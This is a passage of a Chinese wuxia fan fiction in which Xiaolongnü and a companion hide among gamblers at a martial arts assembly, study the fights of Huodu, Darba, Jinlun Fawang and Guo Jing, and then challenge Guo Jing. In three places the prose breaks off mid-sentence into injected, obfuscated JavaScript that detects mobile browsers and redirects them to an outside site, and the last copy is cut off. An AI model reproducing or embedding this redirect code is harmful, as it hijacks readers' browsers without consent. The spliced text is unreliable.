小童子先侧身让过一个挤上前看热闹的人,又低头避开旁边一根挑担。小龙女跟在她身侧,白衣在人群里极轻地一带,便从两名江湖人中间穿过。 她们没有往空处退,而是退向人更多的地方。 旁边正是方才那群赌徒,旧布摊在地上,铜钱与碎银压着布角,瘦脸汉子正扯着嗓子吆喝下一局。这里离擂台更远了些,却还能看清台上人的身法,四周又挤满了看热闹和等下注的人。 小童子看了看赌局,又看了看擂台,忽然有了主意。她拉着小龙女,站进赌局边那一圈人里。 瘦脸汉子一看她们又靠过来,脸色顿时有些复杂。 36.有点意思 这两个少年眼力太毒,若真是来赌钱的,他这个庄家怕是连本钱都要赔进去。可开赌局的人,偏又不能因人家眼力好便把人赶走,否则这摊子往后也不用再摆了。 小童子从衣襟里摸出妇人留给她的小碎银。她还记得妇人说过,银子能买很多食物。如今她拿出一颗,动作比拿剑还慎重。 瘦脸汉子心尖一颤:“小兄弟要押?” 小童子问:“押了,可以站这里?” 瘦脸汉子愣了一下,旁边有人笑:“当然能。” 小童子点头,随手把小碎银抛了抛,掂量了一下。 众人连忙问:“押谁?” 小童子看了一眼台上,心思却半点不在赌局。她只是想借这一圈赌徒遮一遮自己和小龙女,让旁人以为她们也是混在这里赌钱看热闹的人,免得被台上那个持扇的,或全真教弟子瞧得太清楚。 于是她随手押下银子,道:“左边。” 小龙女看了她一眼,小童子掌心轻轻回了一下:假装。 小龙女懂了,她没有多问,只看了看小童子押下的位置,便也取出一小颗碎银,放到另一边。 瘦脸汉子看着两人,一个押左,一个押右,先是一怔,随即暗暗松了一口气。 这两少年眼力太好,若都押一边,旁人只怕立刻跟着倒过去,他这个庄家非亏死不可。可如今一个押左,一个押右,旁人反倒要疑惑。人一疑惑,便有人跟左,有人跟右,这赌局才有得赚。 小童子神情冷清,小龙女更看不出情绪。 瘦脸汉子心里转了几转,眉头终于舒展开来,有输有赢,赌局才开得下去。旁边那些赌徒却早把小童子当成了准头,也有人见小龙女同她押反,忍不住又迟疑起来。 还有人忍不住探头问:“小兄弟,你俩怎么分开押?” 瘦脸汉子立刻一拍旧布,扬声截住:“买定离手,别问东问西!” 小童子和小龙女便顺利留在了角落,两人表面上站在赌局旁边,偶尔随手扔一颗小碎银。 旁边那些赌徒却越看越觉得古怪。 这两个少年不像寻常赌徒,输了不恼,赢了不喜,银子落下去,眼睛却还在擂台上。有人以为她们是装得深沉,有人以为她们真有独门眼力,便越发盯着她们手里的碎银。 小童子察觉到这些目光,反倒放心了些。旁人越觉得她们是在赌,便越不会觉得她们是在躲人。 小龙女也明白这一层,她不懂赌局,却看得懂人心,见旁人的目光都盯着她们手里的碎银,下一局还没开始,便先一步把银子放了下去,神色淡淡,仿佛只是随手。 果然,立刻有人跟着她押。 小童子看了一眼,便把自己的碎银放到另一边。 人群里顿时一阵低声议论。 “这回又分开?” “莫不是这次比斗的两人不好看破?” “你懂什么,高手下注,哪里会叫你看明白。” 他们哪里知道,两人的心神几乎一直在擂台上。 台上那持扇人折扇一转,目光也曾往台下扫过。小童子立刻垂了垂眼,像是在认真看旧布上的银钱。小龙女比她更早一步,头一侧便被旁边的衣袖与人影挡住。那人的目光从她们身上一掠而过,没有停。 小童子掌心传去一点笑意:他没看见。 小龙女回她:他看见也未必能看清。 小童子弯了弯眼,觉得这话很有道理。 台下有人低声说出持扇人的名字。 “那是蒙古王子霍都。” “听说是金轮法王的弟子。” “旁边那个更厉害,是他师兄达尔巴。” 小童子听见,才知道那人叫霍都。她在心里记下,霍都,古墓外那个跑得最快的人。 他的师兄达尔巴身形魁梧,手持粗重兵器,站在那里便像一堵墙。霍都则轻巧许多,折扇在手中一开一合,姿态仍旧带着几分贵气。两人身上的气息与中原武林人大不一样。 小童子看着,眼神渐渐亮了些,终于有点意思。 霍都出手时,扇影并不只是花巧。他的折扇开合之间,带着一股阴柔劲力,似虚似实,似退似进。扇骨点出时像判官笔,扇面一转又可遮挡视线。与中原那些一路大开大合、或一路轻灵跳脱的招式都不太相同。 更要紧的是,他懂得藏。他藏脚步,也藏力。 上一招看似只为逼退对手,下一招却已借对手退路封住半边身位。 小童子不喜欢霍都,可她承认,这人的武功比方才台上那些人好,有点东西在里面。 小龙女也在看,她看的却不是胜负,而是内力运行。 她看霍都收扇时肩头那一点停顿,也看达尔巴落步前腰背微微下沉。许多动作在旁人眼里只是快慢轻重,在她眼里却像水下暗流,表面平静,底下自有来路。 霍都内力并非极深,却运得巧。扇影轻飘时,内劲并不完全在扇上,有时在腕,有时在肘,有时反而藏在步伐里。对手若只盯着扇,便容易被他脚下变化带偏。 达尔巴没有霍都那样巧,却极重。 每一步踏下去,擂台都微微震动。兵器横扫时,风声沉闷,逼得对手不得不避。中原武林许多人讲究变化、轻灵、招式相生相克,达尔巴却像不太管这些,只把力与势压过去。力足够大,势足够猛,许多精巧招式还没来得及展开,便被他砸散。 台上很快人仰马翻,一个使剑的江湖人刚上去,还未站稳,便被达尔巴一招逼得连退五步,最后摔下台。另一个身法轻快的青年想绕到霍都身后,霍都折扇一合,扇柄轻点他肩井,青年半边身子一麻,直接跪倒。 台下哗然。 中原武林人士脸色都不太好看,有人骂蒙古鞑子猖狂,有人说不过仗着兵器古怪,有人已经开始喊让高手上去。 小童子和小龙女没有受到周围情绪影响,只默默地看。 两人掌心里的内力又开始无声流转。 起初,那些内力只在她俩掌心之间来回,像隔着一层薄纸拆招。可拆到后来,掌心便不够用了。霍都的巧不只在扇,达尔巴的重也不只在兵器,一个要从肩腕里藏出去,一个要从腰足里沉下去。若只在掌心里比,便只剩形,少了根。 于是两人的内力渐渐离开掌心,顺着各自经脉往上走到腕、肘、肩,又往下落到腰、胯、足底。她们人仍站着不动,连衣角都没有多晃一下,身体里面却像多开了一方极小的擂台。 小童子先“动”,她把霍都扇法里最要紧的那一点“藏”融进内力,细细一绕,送到小龙女掌心。那道内力起初像是往前,临到尽头却忽然一偏,仿佛折扇开合,真正的力不在扇面,而藏在腕后、肘间、脚下半步。 小龙女掌心微微一收,便接住了。她没有顺着那道内力追出去,霍都能骗人,肩却骗得不够干净;力从肩起,藏到腕中,再借步法放出去,中间总有一线痕迹。 她便把达尔巴的“重”压进掌心,回给小童子。 那道内力不细,也不巧,只一路沉下去,像重兵器从上方砸落,先压住地面,再压住那一点藏在步法里的偏转。小童子的藏劲刚要绕开,便被这一股重势逼得现出痕迹,仿佛折扇还未完全打开,便已有沉铁压在扇骨之上。 小童子没有硬抗,立刻改用霍都的巧。那道内力在重势压落前一缩,像折扇忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760909|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 然合起,又在腕后轻轻一转,从肘间借出半分虚劲,贴着那股沉重边缘滑了过去。 小龙女却没有被小童子完全绕开,她把那股重意再往下一沉,点的不是已经滑走的巧劲,而是巧劲将生未生、藏势将变未变的那一瞬。 台上人在比武,她俩在台下也像比武。只是这场比武没有拳脚,没有兵刃,也没有半点声响。她们的内力都藏在肌肉与经脉里,起落不过一呼一吸,进退不过一寸气机。旁人看见的只是两个清瘦少年交握着手,冷冷清清站在赌局旁边;她们身体之内,却已有折扇开合,有重兵器横扫,有藏劲回旋,一招一式被无声拆开。 方才那一压一避,仍在小童子经脉里回荡,她眼睛越来越亮。 小龙女察觉到了,她掌心送去一缕内力:想到什么? 小童子没有立刻回答。她又把自己的内力压低,顺着掌心往下一沉,像把达尔巴踏地时那股重意借来,又不全学他的笨重。那道内力先贴住小龙女掌根,再从下方微微一震。 小童子这才回了一道很细很快的内息,又在末端加了一点沉劲:足下剑,或许不只是刺。 达尔巴每一步踏下去,都能把力从脚底传到擂台,再从擂台震到对手脚下。方才小龙女用重势压她的藏劲时,小童子才真正明白,足底发出的东西未必只能细,也可以重,可以震,可以先压住地面,再从地面反逼上去。 小龙女没有停,她接过小童子那一点沉劲,先往下一按,随即又把内力收回肩侧。她的目光落在霍都肩上,霍都折扇一开,手臂看似动,肩却几乎不动;可方才她在掌心里截小童子的藏劲时,截到的正是这条从肩到腕的路。 内力从手腕往肩上藏,原来不是只能用来骗人。若肩不是用来撞,不是用来推,而只是一个藏锋处,锋便可以不立刻出,先藏,再转,后透。 她眼睫微微一动。 小童子感觉到她掌心内力的变化,立刻看向她:龙儿? 小龙女没有说话,只回了一道极轻的内息:有用。 小童子顿时高兴起来,她们在古墓石室里琢磨了许久,肩上剑、足下剑总差一点门道。没想到被妇人骗来这个又吵又麻烦的武林大会,竟真看见了些能用的东西。 那妇人说不看选举就没有米,小童子现在觉得,或许看选举不只会有米,还会有一点武学悟道。 擂台上,霍都又胜一人。 他收扇而立,笑着向台下拱手,言辞里带着挑衅。台下骂声大作,许多人按剑欲上,却又被身旁同伴拉住。达尔巴站在他旁边,像一尊沉重石像。 小童子盯着两人看,她终于忍不住极轻地开口:“龙儿,他们比方才那些人好看。” 小龙女道:“嗯。” 小童子接着又说:“但还是差点意思。” 小龙女想了想:“也有一点意思。” 小童子弯了弯眼,点头:“是。” 旁边赌局的人只听见她们说“有一点意思”,不知她们说的是台上蒙古高手的武功,还以为她们终于觉得赌局有趣。瘦脸汉子立刻凑过来,压低声音道:“小兄弟,这一场押不押?押蒙古人赢,赔率低些;押中原这边赢,赔率高。” 小童子看都没看他,随手扔了一颗碎银到左边:“随便。” 瘦脸汉子无语,他第一次遇到这么随便的赌徒。可银子落了布,他便收。小龙女也随手放了一颗到另一边。 瘦脸汉子收了钱便满意,这样很好,出钱不坏局。 小童子和小龙女则继续看台上,她们已经不急着回去了。 台上终于有人拿出了点她们没见过的武学,虽然还差点意思,但已经值得再看一会儿。 37.好 霍都和达尔巴又赢了几场。 擂台上的风向渐渐变了,最开始,中原群雄虽然觉得这两个蒙古高手来者不善,却还带着几分看热闹的心思。有人骂,有人笑,有人说让他们见识见识中原武林,也有人不服气,提刀上台,想在众人面前出一出风头。 可一场又一场下来,笑声少了。 骂声还在,只是骂声底下,已经有了几分焦躁。 霍都仍旧笑得从容,他折扇一开一合,衣袖飘然,每赢一人,便向四方拱手,口中说几句听着客气、实则刺人的话。他越是笑得风流,台下中原武林人士越觉得刺眼。 达尔巴则话少得多,他像一块厚重石头,站在那里便有压迫之势。谁上去,他便打谁。兵器一起,风声沉闷,擂台木板都随之震动。许多自诩招式精妙的江湖人,到了他面前,都像纸糊的花样,一撞便散。 小童子和小龙女站在人群后方,仍旧在赌局旁边。 瘦脸汉子这群人已经完全习惯了她们的存在。 小童子和小龙女的注意力自然不在钱上,她俩看着霍都和达尔巴,内里一次次拆他们的招。 台上又一人被达尔巴打落,台下顿时一片哗然。 霍都合上折扇,笑吟吟道:“诸位英雄承让。中原武林果然人才济济,只是今日看来,倒也未必胜得过我师父门下。” 这话一出,台下骂声四起。 “狂妄!” “蒙古鞑子,也敢在这里放肆!” “不过赢了几场,便不知天高地厚!” 霍都像没听见那些骂声,他转身朝一处行礼,神情难得恭敬:“诸位既要选武林盟主,自然该选武功最高、德望最重之人。我师父金轮法王武功盖世,胸怀广大,若由他老人家做这武林盟主,岂不正合适?” 四周安静了一瞬,下一刻便炸开了锅。 中原人怎么肯?武林盟主是要带他们抗击蒙古人的。让一个蒙古人来做武林盟主,带着中原群雄去打蒙古人?这不是笑话是什么? 有人怒道:“放屁!你师父是蒙古国师,凭什么做我中原武林盟主?” 有人大喊:“今日武林大会是为抗蒙而设,岂能让蒙古人坐上盟主之位!” 也有人骂得更难听,一口一个鞑子,一口一个狼子野心。 霍都仍旧笑着,他越笑,众人越怒。 擂台周围像一锅沸水,人人都觉得此事荒唐至极。可骂归骂,一时间竟没有人立刻上台应战。 小童子看着这一幕,脸上的兴致慢慢又淡下去。 她以为霍都说出这么荒唐的话,会立刻有人跳上去打。结果没有,大家都在吵。 “龙儿。” “嗯。” “他们又开始了。” 小龙女也看着那些人,她知道小童子说的“又”是什么意思。 古墓外那些人也是这样,先吵,再骂,再商量。最后要么退,要么把别人推到前面。 眼前这些人衣裳更体面,说的词更大,什么国家、什么大义、什么盟主,可声音混在一起时,仍是那种熟悉的吵闹。 小龙女轻轻摇头,不解。 小童子掌心推过去一道内力:像不像仪式? 小龙女侧目看她。 小童子眼睛里有认真疑惑:“外面人是不是打架前一定要先吵很久?” 小龙女想了想:“或许。” 小童子道:“像师父以前压着我们背规矩。” 她越想越觉得像。小时候林朝英教她们门规,小童子最怕背错。背错了要罚,背慢了也要罚。那时候她就觉得,为什么不能直接练武,非要先说那么多? 如今外面这些人,也像在背外面的规矩。先说国家,再说蒙古,最后说盟主,说完之后,才肯打。 小龙女竟觉得这个说法有一点道理:“也许是。” 小童子叹了口气:“外面的规矩真多。” 小龙女点头:“比古墓多。” 两人正低声说着,擂台那边忽然又静了许多。 一个身着僧袍、气度极异的人缓缓走了出来。他身形高大,脸容深刻,神色沉稳,手中持着金轮。那轮在日光下泛着冷光,边缘锋利,行走间却没有半点多余声响。方才霍都与达尔巴已经压得群雄脸色难看,可此人一出现,周围的气便又沉了一层。 小童子立刻停了话,小龙女的眼神也变了。 这不是声音,不是衣着,也不是旁人敬畏他,而是他自己。他站在那里,内息沉厚,像一口深井。外人或许只能觉得他威严,小童子和小龙女却能感觉到,他身体里那股内力极深,极稳,且极有压迫。 有人低声道:“金轮法王。” 小童子和小龙女听见便知道,这就是霍都和达尔巴的师父。 金轮法王站上台,目光扫过四周。嘈杂声仍有,却比方才低了许多。他没有像霍都那样笑,也没有像达尔巴那样沉默得笨重,只是站着,便叫许多人不由自主闭了嘴。 小童子眼睛亮了,这个人和前面那些不同。 小龙女的手指也微微一动,那道绵长的呼吸,她先前听见过。 另一边,一个男人也走了出来。 那人身材魁伟,眉目端正,气息却与金轮法王截然不同。若说金轮法王像深井、像沉铁,那这个人便像一座厚山。他站在那里,不显锋芒,却稳得叫人心安。 台下立刻有人大喊:“郭大侠!” “郭靖!” “郭大侠上了!” 人群立刻振奋起来。 小童子终于把一路上听了许多次的名字,与眼前这个人对上。她偏头问小龙女:“这就是他们一直说的郭靖?” 小龙女道:“应当是。” 两人还没来得及再说,台上两人已经交手。 第一招一出,小童子眼睛彻底亮了:好! 金轮法王手中金轮一转,轮影划出一道弧光。那弧光看似圆满,实则边缘锋锐,内力随轮而走,竟把兵器的转势与自身内息合在一处。轮未至,气先至,台上空气像被割开一层。 郭靖不退,他一掌推出。 那一掌没有霍都的巧,也没有达尔巴的蛮重,却正,极正。 掌力从肩背到手臂,再到掌心,一路贯通,浑厚无比。小童子和小龙女明明站在台下远处,却仿佛能听见那掌力里有一种深沉的龙吟。金轮法王的轮势被这一掌迎住,两股内力在半空一撞,竟让擂台四周的人都不由后退半步。 小童子几乎忘了眨眼,小龙女也凝神细看。 她们终于看见了真正的高手。不是招式花样,也不是谁声望高、谁说话大声,而是内力与招式完全合在一起,出手便有自己的风格。 金轮法王第二轮攻来,角度更奇。 金轮离手又回,似兵器,似暗器,似掌力延伸。小童子和小龙女从未见过这样的兵器用法,那轮绕身而走,不只是砍,不只是割,还借旋转之势改变力道,逼得对手判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763175|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 断它下一瞬会去哪里。 郭靖仍以掌法应对。 他脚下稳如生根,掌势却不呆板。一掌化开轮影,一掌直取中路,掌力刚猛,变化却藏在刚猛之后。每一次出掌,都不贪多,也不花巧,可偏偏恰到好处。 小童子掌心内力不自觉动了,她把郭靖掌力中那股正而沉的劲推给小龙女;小龙女立刻回了一线金轮法王旋转内力的轨迹。 两人在掌心和身体内拆招,比方才拆霍都、达尔巴时快得多,也深得多。 金轮法王一转身,金轮从侧面呼啸而来。郭靖身形微侧,掌力不硬抗,先卸其锋,再以另一掌补上。那一卸一补之间,分寸极细。 小龙女眼睫轻颤:好! 她从郭靖掌法里看见一种极纯的劲。 不似古墓派的清,不似玉女心经的双人合璧,也不似她和小童子正在琢磨的内力成剑。郭靖的掌法像江河正道,来时便来,去时便去,浑厚到不必遮掩。 金轮法王则不同,他的轮法更异。 内力深,兵器怪,出手时既有压迫,又有变化。轮影旋转,力道层层叠加,像把内力绕成一个看不见的圆,再借金轮甩出去。 小童子忽然低声道:“龙儿,好招式。” 小龙女道:“嗯。” 小童子又道:“好内力。” 小龙女眼中也亮得很:“嗯。” 小童子忍不住喝彩:“好!” 旁边赌局的人被她吓了一跳。先前这个少年一直冷冷清清,押钱随便,输钱也没反应,谁知此刻忽然连说了几个好。 旁边赌徒还以为她终于要开口判断输赢,连忙凑过来:“小兄弟,你看谁赢?” 小童子根本没理他们,她的全部心神都在擂台上。 小龙女也是。 两人牵着手,内力比拼随着台上两人的节奏越来越快。 金轮法王每一次转轮,都会被她们拆成气息、角度、兵器走势;郭靖每一次出掌,都会被她们拆成肩背、腰胯、步法、掌力。 外面的人在大声喝彩与倒彩,有人叫郭大侠威武,有人骂金轮法王狂妄;有人紧张得握紧刀柄,有人趁机继续下注。 小童子和小龙女已经听不太见,她们眼里只剩台上两个人。这是她们离开古墓后,第一次觉得外面的武学真正打开了一道门。 原来兵器可以这样用,原来掌力可以这样正。原来内力不只可以凝成剑,也可以随轮旋转,可以随掌推出,可以重如山,可以圆如环。 小童子越看越兴奋,小龙女越看越静。 可她们的静与兴奋,在掌心里合成一处。石室里卡住的足下剑、肩上剑,似乎在这一刻又往前松动了一点。 小童子没有再问什么时候回去拿米,小龙女也没有提醒她。 原本惦记着的米很重要,但这一场打斗同样重要。 台上金轮与掌力相撞,又是一声沉响。 小童子眼睛发亮,几乎要往前一步。 小龙女轻轻握住她:别露。 小童子顿住,她想起霍都还在场中,想起全真教弟子也在附近。 于是她没有上前,只站在人群角落里,强行按住自己想靠近看的心思。 可她还是忍不住在掌心里推了一道内力过去:这场比武真好。 小龙女回她:确实好。 两人并肩站在人群深处,像两道安静的影子。 而她们眼中,第一次真正有了外面武学的光。 38.请赐教 金轮法王与郭靖这一战,越打越深。 一开始,台下群雄还能叫好,能喝彩,能骂蒙古国师无礼,也能高声为郭靖助威。可两人交手到后来,喝彩声渐渐少了。不是众人不想喊,而是许多人已经看不明白。 金轮法王手中金轮旋转如电,时而贴身,时而离手,时而从正面压下,时而绕过半个弧度从旁侧袭来。那金轮边缘锋锐,映着日光,一转便是一片寒芒。 可真正让小童子和小龙女着迷的,不是金轮本身,而是金轮带起的那股圆转内力。 圆,沉,层层叠叠,像水绕石,又像风卷雪。 郭靖则始终稳。 他的掌法没有金轮法王那样奇异,出手看似更简单,可每一掌都有千钧之力。掌势一起,周围的空气仿佛都被带动。那种内力正大、浑厚、充沛,像从胸中直推而出,毫不遮掩,也无须遮掩。 小童子站在人群角落里,眼睛越来越亮。 小龙女的手还牵着她。两人掌心里的内力早已不是轻轻试探,而是在极细微处飞快拆解。金轮一转,小龙女便推来一道圆劲;郭靖一掌,小童子便回去一道正劲。她们没有真正出手,却仿佛在掌心、静脉、肌肉里与台上二人交锋了数十回合。 赌徒们已经不敢打扰她们。 方才小童子说了三声“好”以后,他们还想问谁输谁赢。可见那两个少年目光专注得近乎吓人,他们竟莫名有些不敢再凑过去。明明她们身形年少,又站在人群边缘,可这一刻,那股专注像剑一样把旁人隔开。 台上又是一声沉响。 金轮法王的金轮被郭靖一掌震偏。郭靖脚下一踏,身形不退反进,掌势连绵而上。金轮法王眼神一沉,轮影急旋,试图以奇势卸去这股掌力。可郭靖这一掌之后还有一掌,掌力浑厚得近乎没有断处。金轮法王接连变化,终究慢了半分,被逼得退了一步。 只一步,可高手相争,一步便够。 台下群雄猛然爆出一阵叫好。 “郭大侠赢了!” “好掌法!” “蒙古国师也不过如此!” 金轮法王站定,神色仍沉,却已看得出这一场是郭靖更胜一筹。霍都脸上笑意淡了,达尔巴握紧兵器,全真教一众弟子也都松了口气。 小童子却没有松气,她像被那一步退势勾住了。 郭靖刚才那几掌在她眼前来回翻动,不是招式表面。是那股掌力如何从足下生起,如何经腰背贯通,如何过肩入臂,最后在掌心完全推出。那种正大内力与她的掌心剑截然不同,却又并非不能相通。 她终于耐不住了,小龙女感觉到她掌心一动。那不是问,是想去。 小龙女侧头看她,小童子的眼睛亮得惊人。 不是遇敌时的锋利,也不是小时候要闹事时的顽皮,而是武学一道忽然在眼前开出一条路时,那种近乎压不住的兴奋。 小龙女没有立刻阻止,她也想看,也想亲手试。 只是霍都在,全真教也在。两人的面貌若被认出来,买米便要生出许多麻烦。 小童子也知道。她看了一圈,忽然瞧见门口不远处有个小贩正卖布巾,旁边挂着几条青灰色头巾。那小贩本来一边看擂台,一边守摊,根本没想到会有人这时候来买东西。 趁众人的目光都被台上两人牵住,小童子拉着小龙女几步掠到摊前,摸出一颗碎银递过去:“买两条。” 小贩愣了一下,忙把头巾取下来:“用不了这么多,小公子……” 他话还没说完,小童子已经拿了头巾,又把碎银放在他手里:“不用找。” 小贩心里一喜,他还想说什么,那两名白衣少年已经离开。 小童子把一条头巾递给小龙女。 两人站在人群边缘,动作很快地把头巾裹上。青灰布料遮住额发,也遮去了一部分眉眼。若不细看,只觉得是两个毫不起眼的寻常人。 小龙女系好头巾,看了小童子一眼:“去?” 小童子点头:“去。” 人群仍吵吵闹闹。 郭靖和金轮法王一战刚分出高下,台上台下都在说话。有人要推郭靖为盟主,有人还在骂霍都,有人喊着叫蒙古人退下,也有人仍沉浸在方才那场大战里,和旁人比划刚才那一掌。 没有人留意两个裹着头巾的少年忽然从人群后方掠出,等有人发现时,她们已经到了台前。 两道身影轻飘飘落下,一左一右,正立在郭靖面前。 郭靖刚与金轮法王交手完毕,内息仍在回转。他见忽有二人上前,先是一怔,随即眼神一凝。 这两人气息极轻,轻到方才飞身上台时,几乎没有带起风声。可她们落地之后,整个人的气势便变了。 方才在人群里,她们像两个不懂世事的人间童子,冷清、安静、与周遭格格不入。此刻两人并肩而立,手已按剑,气息在一瞬间连成一片。不是一人,是两人合成了一张网。 小童子抱拳,小龙女也微微颔首。 小童子道:“请赐教。” 郭靖忙道:“两位小友,此刻不是……” 话未说完,剑已出鞘,两声清越剑鸣几乎同时响起。 小童子左手持剑,小龙女右手持剑。 剑光一起,台下原本吵嚷的人群像被什么压了一下,竟有片刻静了。 郭靖眼神微变,他看出这不是寻常少年。 两把剑出鞘的一瞬,二人气息翻天覆地。剑锋未至,剑意已先织成细密的网。小童子剑走奇路,轻快灵动,似从空处来,又从不可思议处转折;小龙女剑势清冷,极稳,极准,补住小童子每一处变化之后的空隙。 玉女剑法,双人合璧。 她们不是来争名,也不是来杀人,她们是来比试。 郭靖想喊停,可两名武痴少年根本没有给他说完话的机会。 小童子剑尖一颤,已刺向他右肩外侧。那一剑并非要伤他要害,而是要逼他出掌。郭靖后退半步,小龙女剑光却从另一侧封来,恰好堵住他退路。两人配合得毫无间隙,像从小到大就在同一口气里练剑。 郭靖不得不接,他一掌斜推出去,掌力不重,意在震开剑势。 可小童子剑身轻轻一转,竟借着那点掌风滑开,然后绕入他掌力空处。小龙女则剑尖一点,将郭靖掌力外缘轻轻切开一线。 郭靖心中一惊,好剑法! 他刚与金轮法王打完一场,虽未受伤,内息却也消耗不少。此刻忽然对上这两把利剑,竟一点不敢放松。更要紧的是,眼前二人并非各打各的,而是互为彼此前后左右,互为彼此呼吸。 一剑来去无踪,一剑清冷如霜。 两张网同时罩下,偏偏网眼还在不断变化。郭靖被迫连出数掌。 台下这才回过神,哗然声四起。 “哪来的少年?” “好快的剑!” “他们竟敢挑战郭大侠!” 霍都原本因金轮法王退了半步而脸色不佳,此刻见突然冒出两个少年,目光也转了过来。 全真教那边有人皱眉,只是头巾遮着,又隔着人群,一时尚未认出。 台上剑光越来越密。 小童子和小龙女显然没有使用全力杀招,却也没有敷衍。她们要看的是郭靖的掌。要试的是,方才那种掌力到底如何接、如何卸、如何化入自己的武学里。 郭靖很快看出来了,这两个少年没有恶意。可没有恶意,不代表不危险。 她们的剑太快,配合太紧。若他一味留手,反而容易被剑气所伤,甚至也可能误伤她们。无奈之下,郭靖气沉丹田,脚下踏稳,右掌一收一放,终于打出一招降龙十八掌。 “亢龙有悔!” 掌力一起,台上气势骤变。那一掌浑厚刚猛,却并非一味刚猛。刚中有收,盛处有悔,力道推出后仍留回转余地。可哪怕只是如此,近距离迎上这一掌,也绝不是寻常人能承受的。 郭靖掌出便想提醒:“小心!” 可小童子眼睛已经亮得不能再亮。她不躲,她正面迎上。 左手长剑一横,剑意一变,体内内力瞬间凝成锋芒。那不是离体的掌心剑,却是她这些年与小龙女千万次内力拆招后练出的局部锋劲,在体内成形。掌力压来时,她没有硬碰硬,而是让内力在肩、臂、腕、掌、剑身数处同时成极细的刃。 像以许多看不见的小剑,去切那道浩大掌力的边。 郭靖心中一紧,他已看出小童子的意图,这少年竟想正面接降龙十八掌! 可小龙女比他的担心更早一步。 她身形一转,剑光从旁侧落下,不是攻郭靖,而是切入掌力边缘。玉女心经的清冷内息顺着剑锋而走,先替小童子打散一部分掌力。 小童子毫不退让,借这一线空隙正面接了上去。掌力入身的一瞬,她几乎全身都震了一下。 好正。 好厚。 好纯。 那种内力从正面传来,又沿肌肉压入肩背,像一条真正的龙撞进经脉。若是旁人,恐怕这一撞便会气血翻涌,经脉受损。 可小童子没有硬扛,她感受。感受那股内力如何进,如何转,如何在最盛处仍留悔意。 然后顺势一卸!她的身体仿佛在这一瞬变成无数细小的掌心。 手腕卸一分,肩头卸一分。腰侧卸一分,足下再卸一分。 这些年她与小龙女在寒冰床上牵手练功,掌心相抵,内力在体内来回推演、拆解。后来又琢磨肩上剑、足下剑,虽还不能真正将内力剑从周身各处打出,却已能在身体局部凝劲、卸劲、化劲。 再加上小龙女先替她削开了部分掌力,这一招亢龙有悔,竟被她卸了个干干净净。 台下原本还在惊呼的人群,忽然像被人掐住了声音。懂武的人都看呆了。 那可是降龙十八掌! 是洪七公老前辈名震天下的绝学! 方才金轮法王与郭靖相斗时,也不敢这样正面硬接这一掌。金轮转势再奇,也要借兵器、借身法、借圆劲去化,绝不肯把掌力全数纳入身前。 可这个裹着头巾的少年竟迎上去了,迎上去,还卸了个干净。 郭靖掌力未曾真正伤她,连她衣袖都未震裂。 郭靖自己也怔了一瞬。 他打出亢龙有悔时留有回转余地,并非要伤人性命,可这一掌终究是降龙十八掌。眼前少年能接下已极难得,能在近身之际顺势卸去,更是匪夷所思。 黄蓉站在台下,眼中精光一闪,手中竹棒不自觉地紧了紧。 她比旁人更明白这一掌的分量。靖哥哥的降龙十八掌,不是寻常江湖人能看懂的功夫,更不是看一眼、接一下便能随意化开的招式。这个少年能做到这一步,靠的绝不只是胆大。 金轮法王也眯了眯眼。 他方才与郭靖交手,最知这掌法正大浑厚,外拙内精。没想自己破不了的掌法,反倒让一个不知来历的少年在众目睽睽之下卸了个干净。 这一刻,擂台四周真正安静了。 小童子毫发无伤,反而眼睛更亮。她忽然把手中长剑顺势一抛,剑光飞起。 小龙女像早就知道她要做什么,左手一伸,稳稳接住小童子的剑。 双剑入手,小龙女气息再次一变,压迫又重几分。 她仍使玉女心经,只是这一次,玉女心经里多了一点方才金轮法王的圆转之意。 她没有只顾着攻向郭靖。小童子自觉已将掌力卸尽,台下众人看在眼里,也只当这一掌至此为止。 可小龙女知道,还剩一缕。 那一缕降龙掌力不在掌心,不在剑上,而在小童子肩背最深处,像洪水退去后藏在石缝里的一线暗流。若任它潜伏不散,稍后气机再动,便可能反震经脉。 小龙女接剑的同时,双剑先从小童子身侧绕过,剑锋没有碰到她。 可清冷内息贴着小童子肩背一掠,如冰线绕过火烫之处,轻轻一牵,便把那缕藏得极深的残劲从她体内引了出来。 小童子只觉肩背一松,她甚至没有回头,她知道是龙儿。 方才金轮法王的轮影还在小龙女眼中:圆,转,层层相生。 剑本是直的。 玉女剑法原本清、细、密,双剑合处如网。可双剑在她手中一转,那张剑网竟开始流动。右剑带左剑,左剑牵右剑,两道剑光一前一后,像一张清冷细密的网被风吹成了圆。 只是她的圆,又与金轮法王不同。 金轮法王的轮是实圆,兵器沉重,内力随轮而转,一圈压一圈。 小龙女的圆却是玉女心经里的虚圆。 双剑终究是剑,剑性直,剑意冷,若强行抡成整圆,便慢了,也钝了。于是她只取圆意,不取圆形。每一剑仍是玉女心经的直刺、横削、斜挑,剑光一段一段,看似断,实则不断;看似不圆,偏偏处处都被玉女剑网收回圆里。 更奇的是,那一缕从小童子肩背引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 